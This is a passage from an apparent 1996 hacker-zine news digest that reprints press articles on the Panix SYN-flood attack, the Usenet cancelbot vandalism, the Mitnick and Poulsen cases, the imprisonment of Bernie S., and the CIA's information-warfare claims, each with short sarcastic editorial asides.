  12583. "bulletins" and other assorted red-flag waving by our esteemed Net
  12584. guardians?  Barr's had his ass hanging in the wind, fighting FBI
  12585. Director Louis "Teflon" Freeh;  he could have used some political cover
  12586. from the cyberspace community.  Yet, if he'd gone to that digital well,
  12587. he'd have found only the echo of his own voice.
  12588.  
  12589. And while the efforts of Rep. Barr are encouraging, it's anything from a
  12590. done deal.  "As long as the door is cracked... there is room for
  12591. mischief," said Barr's staffer.   Meaning, until the bill is reported
  12592. and voted on, some snapperhead congressman could fuck up the process yet
  12593. again.
  12594.  
  12595. We all caught a bit of a reprieve here, but I wouldn't sleep well.  This
  12596. community still has a lot to learn about the Washington boneyard.
  12597. Personally, I'm a little tired of getting beat up at every turn.  Muscle
  12598. up, folks, the fight doesn't get any easier.
  12599.  
  12600. Meeks out...
  12601.  
  12602. Declan McCullagh <declan@well.com> contributed to this report.
  12603.  
  12604. [=-------------------------------------------------------------------------=]
  12605.  
  12606. title: Panix Attack
  12607. author: Joshua Quittner
  12608. source: Time Magazine - September 30, 1996 Volume 148, No. 16
  12609.    
  12610. It was Friday night, and Alexis Rosen was about to leave work when one
  12611. of his computers sent him a piece of E-mail. If this had been the
  12612. movies, the message would have been presaged by something
  12613. dramatic--the woo-ga sound of a submarine diving into combat, say. But
  12614. of course it wasn't. This was a line of dry text automatically
  12615. generated by one of the machines that guard his network. It said
  12616. simply, "The mail servers are down." The alert told Rosen that his
  12617. 6,000 clients were now unable to receive E-mail.
  12618.  
  12619. Rosen, 30, is a cool customer, not the type to go into cardiac arrest
  12620. when his mail server crashes. He is the co-founder of Panix, the
  12621. oldest and best-known Internet service provider in Manhattan. Years
  12622. before the Net became a cereal-box buzz word, Rosen would let people
  12623. connect to Panix free, or for only a few dollars a month, just
  12624. because--well, because that was the culture of the time. Rosen has
  12625. handled plenty of mail outages, so on this occasion he simply rolled
  12626. up his sleeves and set to work, fingers clacking out a flamenco on the
  12627. keyboard, looking for the cause of the glitch. What he uncovered sent
  12628. a chill down his spine--and has rippled across the Net ever since,
  12629. like a rumor of doom. Someone, or something, was sending at the rate
  12630. of 210 a second the one kind of message his computer was obliged to
  12631. answer. As long as the siege continued--and it went on for
  12632. weeks--Rosen had to work day and night to keep from being overwhelmed
  12633. by a cascade of incoming garbage.
  12634.  
  12635. It was the dread "syn flood," a relatively simple but utterly
  12636. effective means for shutting down an Internet service provider--or,
  12637. for that matter, anyone else on the Net. After Panix went public with
  12638. its story two weeks ago, dozens of online services and companies
  12639. acknowledged being hit by similar "denial of service" attacks. As of
  12640. late last week, seven companies were still under furious assault.
  12641.  
  12642. None of the victims have anything in common, leading investigators to
  12643. suspect that the attacks may stem from the same source: a pair of
  12644. how-to articles that appeared two months ago in 2600 and Phrack, two
  12645. journals that cater to neophyte hackers. Phrack's article was written
  12646. by a 23-year-old editor known as daemon9. He also crafted the code for
  12647. an easy-to-run, menu-driven, syn-flood program, suitable for use by
  12648. any "kewl dewd" with access to the Internet. "Someone had to do it,"
  12649. wrote daemon9.
  12650.  
  12651. [* WooWoo! Go Route! *]
  12652.  
  12653. That gets to the core of what may be the Net's biggest problem these
  12654. days: too many powerful software tools in the hands of people who
  12655. aren't smart enough to build their own--or to use them wisely. Real
  12656. hackers may be clever and prankish, but their first rule is to do no
  12657. serious harm. Whoever is clobbering independent operators like Panix
  12658. has as much to do with hacking as celebrity stalkers have to do with
  12659. cinematography. Another of the victims was the Voters
  12660. Telecommunications Watch, a nonprofit group that promotes free speech
  12661. online. "Going after them was like going after the little old lady who
  12662. helps people in the neighborhood and bashing her with a lead pipe,"
  12663. says Rosen.
  12664.  
  12665. [* Gee. Is that to say that if you can't write your own operating system
  12666.    that you shouldn't have it or that it is a big problem? If so, poor
  12667.    Microsoft... *]
  12668.  
  12669. Rosen was eventually able to repulse the attack; now he'd like to
  12670. confront his attacker. Since some of these Netwits don't seem to know
  12671. enough to wipe off their digital fingerprints, he may get his wish.
  12672.  
  12673. [* Wow, they did it for two weeks without getting caught. Two weeks of
  12674.    24/7 abuse toward this ISP, and now he thinks he can track them down? *]
  12675.  
  12676. [=-------------------------------------------------------------------------=]
  12677.  
  12678. title: none
  12679. author: Rory J. O'Connor
  12680. source: Knight-Ridder Newspapers
  12681.  
  12682. WASHINGTON -- Vandals swept through the Internet last weekend, wiping
  12683. clean dozens of public bulletin boards used by groups of Jews, Muslims,
  12684. feminists and homosexuals, among others.
  12685.  
  12686. In one of the most widespread attacks on the international computer
  12687. network, the programs automatically erased copies of more than 27,000
  12688. messages from thousands of servers, before operators stopped the
  12689. damage.
  12690.  
  12691. The identity of those responsible for launching the apparent hate
  12692. attacks -- some of the programs were titled "fagcancel" and "kikecancel" 
  12693. -- is unknown.
  12694.  
  12695. The incident further illustrates the shaky security foundation of the
  12696. Internet, which has mushroomed from academic research tool to
  12697. international communications medium in just three years.
  12698.  
  12699. And it raised the ire of many Internet users furious at the ease with
  12700. which a user can erase someone else's words from worldwide discussion
  12701. groups, known as Usenet newsgroups, in a matter of hours.
  12702.  
  12703. "There's nothing you can do as an individual user to prevent someone
  12704. from canceling your message," said John Gilmore, a computer security
  12705. expert in San Francisco. "We need something added to Usenet's software
  12706. that would only allow a cancellation from the originator."
  12707.  
  12708. [* Which can then be forged just like fakemail... *]
  12709.  
  12710. The incident follows closely three other well-publicized Internet
  12711. attacks.
  12712.  
  12713. In two cases, hackers altered the World Wide Web home pages of the
  12714. Justice Department and the CIA, apparently as political protests. In
  12715. the third, a hacker overloaded the computers of an Internet service
  12716. provider called Panix with hordes of phony requests for a connection,
  12717. thus denying use of the service to legitimate users.
  12718.  
  12719. The latest attacks -- called cancelbots -- were launched sometime over
  12720. the weekend from a variety of Internet service providers, including
  12721. UUNet Technologies in Fairfax, Va., and Netcom Inc. in San Jose,
  12722. Calif. One attack was launched from a tiny provider in Tulsa, Okla.,
  12723. called Cottage Software, according to its owner, William Brunton.
  12724.  
  12725. "The offending user has been terminated and the information has been
  12726. turned over to the proper (federal) authorities," Brunton said in a
  12727. telephone interview Wednesday. "It's now in their hands."
  12728.  
  12729. Legal experts said it's unclear if the attacks constitute a crime
  12730. under federal laws such as the Computer Fraud and Abuse Act.
  12731.  
  12732. "It's really a difficult issue," said David Sobel, legal counsel of
  12733. the Electronic Privacy Information Center in Washington. "Can you
  12734. assign value to a newsgroup posting? Because most of the computer
  12735. crime statutes assume you're ripping off something of value."
  12736.  
  12737. [* Hello? Several statutes don't assume that at all. You can be
  12738.    charged with HAVING information and not using it. *]
  12739.  
  12740. A spokesman for the FBI in Washington said he was unaware of any
  12741. federal investigation of the incident, although it is the agency's
  12742. policy not to comment on investigations.
  12743.  
  12744. While some of the deleted messages have been restored on certain
  12745. servers, where operators have retrieved them from backup copies of
  12746. their disks, users of other servers where the messages haven't been
  12747. restored will never be able to read them.
  12748.  
  12749. The fact that a user can stamp out the words of someone else is an
  12750. artifact of the original design of the Internet, begun as a Department
  12751. of Defense project in 1969.
  12752.  
  12753. The Internet consists of tens of thousands of computers, called
  12754. servers, that act as repositories for public messages, private
  12755. electronic mail and World Wide Web home pages. Servers throughout the
  12756. world are interconnected through telephone lines so they can exchange
  12757. information and route messages to the individual users, or clients, of
  12758. a given server.
  12759.  
  12760. Each server stores a copy of the constantly changing contents of
  12761. newsgroups, which function as giant electronic bulletin boards
  12762. dedicated to particular subjects. There are thousands of them,
  12763. covering everything from particle physics to soap operas.
  12764.  
  12765. Any Internet user is free to post a contribution to nearly any
  12766. newsgroup, and the posting is rapidly copied from one server to
  12767. another, so the contents of a newsgroup are identical on every server.
  12768.  
  12769. Almost the only form of control over postings, including their
  12770. content, is voluntary adherence to informal behavior rules known as
  12771. "netiquette."
  12772.  
  12773. The idea of cancelbots originated when the Internet and its newsgroups
  12774. were almost exclusively the domain of university and government
  12775. scientists and researchers. Their purpose was to allow individuals to
  12776. rescind messages they later discovered to contain an error. The action
  12777. took the form of an automatic program, itself in the form of a
  12778. message, because it would be impossible for an individual to find and
  12779. delete every copy of the posting on every Internet server.
  12780.  
  12781. But the Usenet software running on servers doesn't verify that the
  12782. cancel message actually comes from the person who created the original
  12783. posting. All a malicious user need do is replace their actual e-mail
  12784. address with that of someone else to fool Usenet into deleting a
  12785. message. That counterfeiting is as simple as changing an option in the
  12786. browser software most people use to connect to the Internet.
  12787.  
  12788. "It's pretty easy. There's no authentication in the Usenet. So anybody
  12789. can pretend to be anybody else," Gilmore said.
  12790.  
  12791. It takes only slightly more sophistication to create a program that
  12792. searches newsgroups for certain keywords, and then issues a cancelbot
  12793. for any message that contains them. That is how the weekend attack
  12794. took place.
  12795.  
  12796. The use of counterfeit cancelbots is not new. The Church of
  12797. Scientology, embroiled in a legal dispute with former members, last
  12798. year launched cancelbots against the newsgroup postings of the
  12799. members. Attorneys for the church claimed the postings violated
  12800. copyright laws, because they contained the text of Scientology
  12801. teachings normally available only to longtime members who have paid
  12802. thousands of dollars.
  12803.  
  12804. Net users have also turned false cancelbots against those who violate
  12805. a basic rule of netiquette by "spamming" newsgroups -- that is,
  12806. posting a message to hundreds or even thousands of newsgroups, usually
  12807. commercial in nature and unrelated to the newsgroup topic.
  12808.  
  12809. "This technology has been used for both good and evil," Gilmore said.
  12810.  
  12811. But an individual launching a wholesale cancelbot attack on postings
  12812. because of content is considered a serious violation of netiquette --
  12813. although one about which there is little recourse at the moment.
  12814.  
  12815. "For everybody who takes the trouble and time to participate on the
  12816. Internet in some way, I think it is not acceptable for somebody else
  12817. to undo those efforts," Sobel said. "But what are the alternatives?
  12818. Not to pursue this means of communications? Unintended uses and
  12819. malicious uses seem to be inevitable."
  12820.  
  12821. What's needed, some say, is a fundamental change in the Internet that
  12822. forces individual users to "sign" their postings in such a way that
  12823. everyone has a unique identity that can't be forged.
  12824.  
  12825. [* And how about for the technically challenged who can't figure
  12826.    out the point-and-drool America Online software? *]
  12827.  
  12828. "The fatal flaw is that newsgroups were set up at a time when
  12829. everybody knew everybody using the system, and you could weed out
  12830. anybody who did this," Brunton said. "This points out that flaw in the
  12831. system, and that there are unreasonable people out there who will
  12832. exploit it."
  12833.  
  12834. [=-------------------------------------------------------------------------=]
  12835.  
  12836. title: Mitnick Faces 25 More Federal Counts of Computer Hacking
  12837. source: nando.net - Los Angeles Daily News
  12838.    
  12839.    LOS ANGELES (Sep 27, 1996 02:06 a.m. EDT) -- A computer hacker who
  12840.    used his digital prowess to outrun FBI agents for three years has been
  12841.    indicted on charges that he stole millions of dollars in software
  12842.    through the Internet.
  12843.    
  12844.    The 25-count federal indictment against Kevin Mitnick is the biggest
  12845.    development in the sensational case since the self-taught computer
  12846.    whiz was arrested in February 1995 in North Carolina.
  12847.    
  12848.    The 33-year-old son of a waitress from suburban Los Angeles has been
  12849.    held in custody in Los Angeles ever since.
  12850.    
  12851.    With Thursday's indictment, federal prosecutors made good on their vow
  12852.    to hold Mitnick accountable for what they say was a string of hacking
  12853.    crimes that pushed him to the top of the FBI's most-wanted list.
  12854.    
  12855.    "These are incredibly substantial charges. They involve conducts
  12856.    spanning two and a half years. They involve a systematic scheme to
  12857.    steal proprietary software from a range of victims," Assistant U.S.
  12858.    Attorney David Schindler said in an interview.
  12859.    
  12860.    Mitnick's longtime friend, Lewis De Payne, 36, also was indicted
  12861.    Thursday on charges that he helped steal the software between June
  12862.    1992 and February 1995 -- while Mitnick was on the run from the FBI.
  12863.    
  12864.    "I would say it is an absurd fiction," said De Payne's attorney,
  12865.    Richard Sherman. "I don't think the government is going to be able to
  12866.    prove its case."
  12867.    
  12868.    De Payne will surrender today to authorities in Los Angeles, Sherman
  12869.    said.
  12870.    
  12871.    Friends and relatives of Mitnick have defended his hacking, saying he
  12872.    did it for the intellectual challenge and to pull pranks -- but never
  12873.    for profit.
  12874.    
  12875.    Los Angeles' top federal prosecutor sees it differently.
  12876.    
  12877.    "Computer and Internet crime represents a major threat, with
  12878.    sophisticated criminals able to wreak havoc around the world," U.S.
  12879.    Attorney Nora M. Manella said in a written statement.
  12880.    
  12881.    The indictment charges Mitnick and De Payne with having impersonated
  12882.    officials from companies and using "hacking" programs to enter company
  12883.    computers. Schindler said the software involved the operation of
  12884.    cellular telephones and computer operating systems.
  12885.    
  12886.    Their alleged victims include the University of Southern California,
  12887.    Novell, Sun Microsystems and Motorola, Schindler said.
  12888.  
  12889. [=-------------------------------------------------------------------------=]
  12890.  
  12891. title: Hacker is freed but he's banned from computers
  12892. author: Brandon Bailey (Mercury News Staff Writer)
  12893.  
  12894. Convicted hacker Kevin Poulsen is out of prison after five years, but
  12895. he still can't touch a computer.
  12896.  
  12897. Facing a court order to pay more than $57,000 in restitution for
  12898. rigging a series of radio station call-in contests, Poulsen has
  12899. complained that authorities won't let him use his only marketable
  12900. skill -- programming.
  12901.  
  12902. Instead, Poulsen said, he's doomed to work for minimum wage at a
  12903. low-tech job for the next three years. Since his June release from
  12904. prison -- after serving more time behind bars than any other
  12905. U.S. hacker -- the only work he's found is canvassing door to door for
  12906. a liberal political action group.
  12907.  
  12908. It's a big change for the 30-year-old Poulsen, once among the most
  12909. notorious hackers on the West Coast. A former employee at SRI
  12910. International in Menlo Park, he was featured on television's
  12911. "America's Most Wanted" while living underground in Los Angeles as a
  12912. federal fugitive from 1989 to 1991.
  12913.  
  12914. Before authorities caught him, Poulsen burglarized telephone company
  12915. offices, electronically snooped through records of law enforcement
  12916. wiretaps and jammed radio station phone lines in a scheme to win cash,
  12917. sports cars and a trip to Hawaii.
  12918.  
  12919. Poulsen now lives with his sister in the Los Angeles area, where he
  12920. grew up in the 1970s and '80s. But he must remain under official
  12921. supervision for three more years. And it galls him that authorities
  12922. won't trust him with a keyboard or a mouse.
  12923.  
  12924. U.S. District Judge Manuel Real has forbidden Poulsen to have any
  12925. access to a computer without his probation officer's approval.
  12926.  
  12927. That's a crippling restriction in a society so reliant on computer
  12928. technology, Poulsen complained in a telephone interview after a
  12929. hearing last week in which the judge denied Poulsen's request to
  12930. modify his terms of probation.
  12931.  
  12932. To comply with those rules, Poulsen said, his parents had to put their
  12933. home computer in storage when he stayed with them. He can't use an
  12934. electronic card catalog at the public library. And he relies on
  12935. friends to maintain his World Wide Web site. He even asked his
  12936. probation officer whether it was OK to drive because most cars contain
  12937. microchips.
  12938.  
  12939. Living under government supervision apparently hasn't dampened the
  12940. acerbic wit Poulsen displayed over the years.
  12941.  
  12942. Prankster humor
  12943.  
  12944. When authorities were tracking him, they found he'd kept photographs
  12945. of himself, taken while burglarizing phone company offices, and that
  12946. he'd created bogus identities in the names of favorite comic book
  12947. characters.
  12948.  
  12949. Today, you can click on Poulsen's web page (http://www.catalog.com/kevin) 
  12950. and read his account of his troubles with the law. Until it was
  12951. revised Friday, you could click on the highlighted words "my probation
  12952. officer" -- and see the scary red face of Satan.
  12953.  
  12954. But though he's still chafing at authority, Poulsen insists he's ready
  12955. to be a law-abiding citizen.
  12956.  
  12957. "The important thing to me," he said, "is just not wasting the next
  12958. three years of my life." He said he's submitted nearly 70 job
  12959. applications but has found work only with the political group, which
  12960. he declined to identify.
  12961.  
  12962. Poulsen, who earned his high school diploma behind bars, said he wants
  12963. to get a college degree. But authorities vetoed his plans to study
  12964. computer science while working part-time because they want him to put
  12965. first priority on earning money for restitution.
  12966.  
  12967. Poulsen's federal probation officer, Marc Stein, said office policy
  12968. prevents him from commenting on the case. Poulsen's court-appointed
  12969. attorney, Michael Brennan, also declined comment.
  12970.  
  12971. Differing view
  12972.  
  12973. But Assistant U.S. Attorney David Schindler partly disputed Poulsen's
  12974. account.
  12975.  
  12976. "Nobody wants to see Mr. Poulsen fail," said Schindler, who has
  12977. prosecuted both Poulsen and Kevin Mitnick, another young man from the
  12978. San Fernando Valley whose interest in computers and telephones became
  12979. a passion that led to federal charges.
  12980.  
  12981. Schindler said Stein is simply being prudent: "It would be irresponsible 
  12982. for the probation office to permit him to have unfettered access to
  12983. computers."
  12984.  
  12985. Legal experts say there's precedent for restricting a hacker's access
  12986. to computers, just as paroled felons may be ordered not to possess
  12987. burglary tools or firearms. Still, some say it's going too far.
  12988.  
  12989. "There are so many benign things one can do with a computer," said
  12990. Charles Marson, a former attorney for the American Civil Liberties
  12991. Union who handles high-tech cases in private practice. "If it were a
  12992. typewriter and he pulled some scam with it or wrote a threatening
  12993. note, would you condition his probation on not using a typewriter?"
  12994.  
  12995. But Carey Heckman, co-director of the Law and Technology Policy Center
  12996. at Stanford University, suggested another analogy: "Would you want to
  12997. put an arsonist to work in a match factory?"
  12998.  
  12999. Friends defend Poulsen.
  13000.  
  13001. Over the years, Poulsen's friends and defense lawyers have argued that
  13002. prosecutors exaggerated the threat he posed, either because law
  13003. officers didn't understand the technology he was using or because his
  13004. actions seemed to flaunt authority.
  13005.  
  13006. Hacking is "sort of a youthful rebellion thing," Poulsen says
  13007. now. "I'm far too old to get back into that stuff."
  13008.  
  13009. But others who've followed Poulsen's career note that he had earlier
  13010. chances to reform.
  13011.  
  13012. He was first busted for hacking into university and government
  13013. computers as a teen-ager. While an older accomplice went to jail,
  13014. Poulsen was offered a job working with computers at SRI, the private
  13015. think tank that does consulting for the Defense Department and other
  13016. clients.
  13017.  
  13018. There, Poulsen embarked on a double life: A legitimate programmer by
  13019. day, he began breaking into Pacific Bell offices and hacking into
  13020. phone company computers at night.
  13021.  
  13022. When he learned FBI agents were on his trail, he used his skills to
  13023. track their moves.
  13024.  
  13025. Before going underground in 1989, he also obtained records of secret
  13026. wiretaps from unrelated investigations. Though Poulsen said he never
  13027. tipped off the targets, authorities said they had to take steps to
  13028. ensure those cases weren't compromised.
  13029.  
  13030. According to Schindler, the probation office will consider Poulsen's
  13031. requests to use computers "on a case-by-case basis."
  13032.  
  13033. [=-------------------------------------------------------------------------=]
  13034.  
  13035. [* Blurb on Bernie's release follows this article. *]
  13036.  
  13037. title: Computer Hacker Severely Beaten after Criticizing Prison Conditions
  13038.        Target of Campaign by U.S. Secret Service
  13039.  
  13040. A convicted hacker, in prison for nothing more than possession of
  13041. electronic parts easily obtainable at any Radio Shack, has been
  13042. savagely beaten after being transferred to a maximum security prison
  13043. as punishment for speaking out publicly about prison conditions.
  13044. Ed Cummings, recently published in Wired and Internet Underground, as
  13045. well as a correspondent for WBAI-FM in New York and 2600 Magazine,
  13046. has been the focus of an increasingly ugly campaign of harrassment
  13047. and terror from the authorities. At the time of this writing, Cummings
  13048. is locked in the infectious diseases ward at Lehigh County prison in
  13049. Allentown, Pennsylvania, unable to obtain the proper medical treatment
  13050. for the severe injuries he has suffered.
  13051.  
  13052. The Ed Cummings case has been widely publicized in the computer hacker
  13053. community over the past 18 months. In March of 1995, in what can only
  13054. be described as a bizarre application of justice, Cummings (whose pen
  13055. name is "Bernie S.") was targetted and imprisoned by the United States
  13056. Secret Service for mere possession of technology that could be used to
  13057. make free phone calls. Although the prosecution agreed there was no
  13058. unauthorized access, no victims, no fraud, and no costs associated with
  13059. the case, Cummings was imprisoned under a little known attachment to the
  13060. Digital Telephony bill allowing individuals to be charged in this fashion.
  13061. Cummings was portrayed by the Secret Service as a potential terrorist
  13062. because of some of the books found in his library.
  13063.  
  13064. A year and a half later, Cummings is still in prison, despite the
  13065. fact that he became eligible for parole three months ago. But things have
  13066. now taken a sudden violent turn for the worse. As apparent retribution for
  13067. Cummings' continued outspokenness against the daily harrassment and
  13068. numerous injustices that he has faced, he was transferred on Friday
  13069. to Lehigh County Prison, a dangerous maximum security facility. Being
  13070. placed in this facility was in direct opposition to his sentencing
  13071. order. The reason given by the prison: "protective custody".
  13072.  
  13073. A day later, Cummings was nearly killed by a dangerous inmate for not
  13074. getting off the phone fast enough. By the time the prison guards stopped
  13075. the attack, Cummings had been kicked in the face so many times that he
  13076. lost his front teeth and had his jaw shattered. His arm, which he tried
  13077. to use to shield his face, was also severely injured. It is expected that
  13078. his mouth will be wired shut for up to three months. Effectively,
  13079. Cummings has now been silenced at last.
  13080.  
  13081. >From the start of this ordeal, Cummings has always maintained his
  13082. composure and confidence that one day the injustice of his
  13083. imprisonment will be realized. He was a weekly contributor to a
  13084. radio talk show in New York where he not only updated listeners on
  13085. his experiences, but answered their questions about technology.
  13086. People from as far away as Bosnia and China wrote to him, having
  13087. heard about his story over the Internet.
  13088.  
  13089. Now we are left to piece these events together and to find those
  13090. responsible for what are now criminal actions against him. We are
  13091. demanding answers to these questions: Why was Cummings transferred
  13092. for no apparent reason from a minimum security facility to a very
  13093. dangerous prison? Why has he been removed from the hospital immediately
  13094. after surgery and placed in the infectious diseases ward of the very
  13095. same prison, receiving barely any desperately needed medical
  13096. attention? Why was virtually every moment of Cummings' prison stay a
  13097. continuous episode of harrassment, where he was severely punished for
  13098. such crimes as receiving a fax (without his knowledge) or having too
  13099. much reading material? Why did the Secret Service do everything in
  13100. their power to ruin Ed Cummings' life?
  13101.  
  13102. Had these events occurred elsewhere in the world, we would be quick
  13103. to condemn them as barbaric and obscene. The fact that such things are
  13104. taking place in our own back yards should not blind us to the fact that
  13105. they are just as unacceptable.
  13106.  
  13107. Lehigh County Prison will be the site of several protest actions as will
  13108. the Philadelphia office of the United States Secret Service. For more
  13109. information on this, email protest@2600.com or call our office at
  13110. (516) 751-2600.
  13111.  
  13112. 9/4/96
  13113.  
  13114. [=-------------------------------------------------------------------------=]
  13115.  
  13116. title: Bernie S. Released!
  13117.  
  13118. As of Friday, September 13th, Bernie S. was released from prison on
  13119. an unprecedented furlough. He will have to report to probation and
  13120. he still has major medical problems as a result of his extended tour
  13121. of the Pennsylvania prison system. But the important thing is that
  13122. he is out and that this horrible ordeal has finally begun to end.
  13123.  
  13124. We thank all of you who took an interest in this case. We believe
  13125. it was your support and the pressure you put on the authorities that
  13126. finally made things change. Thanks again and never forget the power
  13127. you have.
  13128.  
  13129. emmanuel@2600.com
  13130. www.2600.com
  13131.  
  13132. [=-------------------------------------------------------------------------=]
  13133.  
  13134. title: <The Squidge Busted>
  13135.  
  13136. ENGLAND:
  13137.  
  13138. The Squidge was arrested at his home yesterday under the Computer Misuse
  13139. Act. A long standing member of the US group the *Guild, Squidge was silent
  13140. today after being released but it appears no formal charges will be made
  13141. until further interviews have taken place.
  13142.  
  13143. Included in the arrest were the confiscation of his computer equipment
  13144. including two Linux boxes and a Sun Sparc. A number of items described as
  13145. 'telecommunications devices' were also seized as evidence.
  13146.  
  13147. Following the rumours of ColdFire's recent re-arrest for cellular fraud
  13148. this could mean a new crackdown on hacking and phreaking by the UK
  13149. authorities. If this is true, it could spell the end for a particularly
  13150. open period in h/p history when notable figures have been willing to
  13151. appear more in public.
  13152.  
  13153. We will attempt to release more information as it becomes available.
  13154.  
  13155. (not posted by Squidge)
  13156.  
  13157. --
  13158.     Brought to you by The NeXus.....
  13159.  
  13160. [* Good luck goes out to Squidge.. we are hoping for the best. *]
  13161.  
  13162. [=-------------------------------------------------------------------------=]
  13163.  
  13164. title: School Hires Student to Hack Into Computers
  13165. source: The Sun Herald - 22 August 1996
  13166.  
  13167.      Palisades Park, NJ - When in trouble, call an expert.
  13168.  
  13169.      Students at Palisades Park's high school needed their
  13170. transcripts to send off to colleges.  But they were in the computer
  13171. and no one who knew the password could be reached.  So the school
  13172. hired a 16-year-old hacker to break in.
  13173.  
  13174.      "They found this student who apparently was a whiz, and,
  13175. apparently, was able to go in and unlock the password," School Board
  13176. attorney Joseph R. Mariniello said.
  13177.  
  13178.      Superintendent George Fasciano was forced to explain to the
  13179. School Board on Monday the $875 bill for the services of Matthew
  13180. Fielder.
  13181.  
  13182. [* He should have charged more :) *]
  13183.  
  13184. [=-------------------------------------------------------------------------=]
  13185.  
  13186. title: Paranoia and Brit Hackers Fuel Infowar Craze in Spy Agencies
  13187. author: unknown
  13188. source: Crypt Newsletter 38 
  13189.  
  13190. Electronic doom will soon be visited on U.S. computer networks by
  13191. information warriors, hackers, pannational groups of computer-wielding
  13192. religious extremists, possible agents of Libya and Iran, international
  13193. thugs and money-mad Internet savvy thieves.
  13194.  
  13195. John Deutch, director of Central Intelligence, testified to the
  13196. truth of the matter, so it must be graven in stone. In a long statement
  13197. composed in the august tone of the Cold Warrior, Deutch said to the
  13198. Senate Permanent Subcommittee on Investigations on June 25, "My greatest
  13199. concern is that hackers, terrorist organizations, or other nations might
  13200. use information warfare techniques" to disrupt the national
  13201. infrastructure.
  13202.  
  13203. "Virtually any 'bad actor' can acquire the hardware and software
  13204. needed to attack some of our critical information-based infrastructures.
  13205. Hacker tools are readily available on the Internet, and hackers
  13206. themselves are a source of expertise for any nation or foreign
  13207. terrorist organization that is interested in developing an information
  13208. warfare capability. In fact, hackers, with or without their full
  13209. knowledge, may be supplying advice and expertise to rogue states such
  13210. as Iran and Libya."
  13211.  
  13212. In one sentence, the head of the CIA cast hackers -- from those more
  13213. expert than Kevin Mitnick to AOLHell-wielding idiots calling an America
  13214. On-Line overseas account -- as pawns of perennial international bogeymen,
  13215. Libya and Iran.
  13216.  
  13217. Scrutiny of the evidence that led to this conclusion was not possible
  13218. since it was classified, according to Deutch.
  13219.  
  13220. " . . . we have [classified] evidence that a number of countries
  13221. around the world are developing the doctrine, strategies, and tools
  13222. to conduct information attacks," said Deutch.
  13223.  
  13224. Catching glimpses of shadowy enemies at every turn, Deutch
  13225. characterized them as operating from the deep cover of classified
  13226. programs in pariah states.  Truck bombs aimed at the telephone
  13227. company, electronic assaults by "paid hackers" are likely to
  13228. be part of the arsenal of anyone from the Lebanese Hezbollah
  13229. to "nameless . . . cells of international terrorists such as those
  13230. who attacked the World Trade Center."
  13231.  
  13232. Quite interestingly, a Minority Staff Report entitled "Security and
  13233. Cyberspace" and presented to the subcommittee around the same time as
  13234. Deutch's statement, presented a different picture.  In its attempt to
  13235. raise the alarm over hacker assaults on the U.S., it inadvertently
  13236. portrayed the intelligence community responsible for appraising the
  13237. threat as hidebound stumblebums, Cold Warriors resistant to change and
  13238. ignorant or indifferent to the technology of computer networks and their
  13239. misuse.
  13240.  
  13241. Written by Congressional staff investigators Dan Gelber and Jim Christy,
  13242. the report quotes an unnamed member of the intelligence  community likening
  13243. threat assessment in the area to "a toddler soccer game, where everyone
  13244. just runs around trying to kick the ball somewhere."  Further, assessment
  13245. of the threat posed by information warriors was "not presently a priority
  13246. of our nation's intelligence and enforcement communities."
  13247.  
  13248. The report becomes more comical with briefings from intelligence
  13249. agencies said to be claiming that the threat of hackers and information
  13250. warfare is "substantial" but completely unable to provide a concrete
  13251. assessment of the threat because few or no personnel were working on
  13252. the subject under investigation. "One agency assembled [ten] individuals
  13253. for the Staff briefing, but ultimately admitted that only one person was
  13254. actually working 'full time' on intelligence collection and threat
  13255. analysis," write Gelber and Christy.
  13256.  
  13257. The CIA is one example.
  13258.  
  13259. "Central Intelligence Agency . . . staffs an 'Information Warfare
  13260. Center'; however, at the time of [the] briefing, barely a handful
  13261. of persons were dedicated to collection and on [sic] defensive
  13262. information warfare," comment the authors.
  13263.  
  13264. " . . . at no time was any agency able to present a national threat
  13265. assessment of the risk posed to our information infrastructure," they
  13266. continue. Briefings on the subject, if any and at any level of
  13267. classification, "consisted of extremely limited anecdotal information."
  13268.  
  13269. Oh no, John, say it ain't so!
  13270.  
  13271. The minority report continues to paint a picture of intelligence agencies
  13272. that have glommed onto the magic words "information warfare" and
  13273. "hackers" as mystical totems, grafting the subjects onto "pre-existing"
  13274. offices or new "working groups." However, the operations are based only
  13275. on labels. "Very little prioritization" has been done, there are
  13276. few analysts working on the subjects in question.
  13277.  
  13278. Another "very senior intelligence officer for science and technology"
  13279. is quoted claiming "it will probably take the intelligence community
  13280. years to break the traditional paradigms, and re-focus resources"
  13281. in the area.
  13282.  
  13283. Restated, intelligence director Deutch pronounced in June there was
  13284. classified evidence that hackers are in league with Libya and Iran and
  13285. that countries around the world are plotting plots to attack the U.S.
  13286. through information warfare.  But the classified data is and was, at best,
  13287. anecdotal gossip -- hearsay, bullshit -- assembled by perhaps a handful of
  13288. individuals working haphazardly inside the labyrinth of the intelligence
  13289. community. There is no real threat assessment to back up the Deutch
  13290. claims.  Can anyone say _bomber gap_?
  13291.  
  13292. The lack of solid evidence for any of the claims made by the intelligence
  13293. community has created an unusual stage on which two British hackers,
  13294. Datastream Cowboy and Kuji, were made the dog and pony in a ridiculous
  13295. show to demonstrate the threat of information warfare to members of
  13296. Congress.  Because of a break-in at an Air Force facility in Rome, NY,
  13297. in 1994, booth hackers were made the stars of two Government Accounting
  13298. Office reports on network intrusions in the Department of Defense earlier
  13299. this year.  The comings and goings of Datastream Cowboy also constitute the
  13300. meat of Gelber and Christy's minority staff report from the Subcommittee on
  13301. Investigations.
  13302.  
  13303. Before delving into it in detail, it's interesting to read what a
  13304. British newspaper published about Datastream Cowboy, a sixteen year-old,
  13305. about a year before he was made the poster boy for information
  13306. warfare and international hacking conspiracies in front of Congress.
  13307.  
  13308. In a brief article, blessedly so in contrast to the reams of propaganda
  13309. published on the incident for Congress, the July 5 1995 edition of The
  13310. Independent wrote, "[Datastream Cowboy] appeared before Bow Street
  13311. magistrates yesterday charged with unlawfully gaining access to a series
  13312. of American defense computers. Richard Pryce, who was 16 at the time of
  13313. the alleged offences, is accused of accessing key US Air Force systems
  13314. and a network owned by Lockheed, the missile and aircraft manufacturers."
  13315.  
  13316. Pryce, a resident of a northwest suburb of London did not enter a plea
  13317. on any of 12 charges levied against him under the British
  13318. Computer Misuse Act.  He was arrested on May 12, 1994, by New Scotland
  13319. Yard as a result of work by the U.S. Air Force Office of Special
  13320. Investigations.  The Times of London reported when police came for
  13321. Pryce, they found him at his PC on the third floor of his family's house.
  13322. Knowing he was about to be arrested, he "curled up on the floor and cried."
  13323.  
  13324. In Gelber and Christy's staff report, the tracking of Pryce, and to a
  13325. lesser extent a collaborator called Kuji -- real name Mathew Bevan, is
  13326. retold as an eight page appendix entitled "The Case Study: Rome
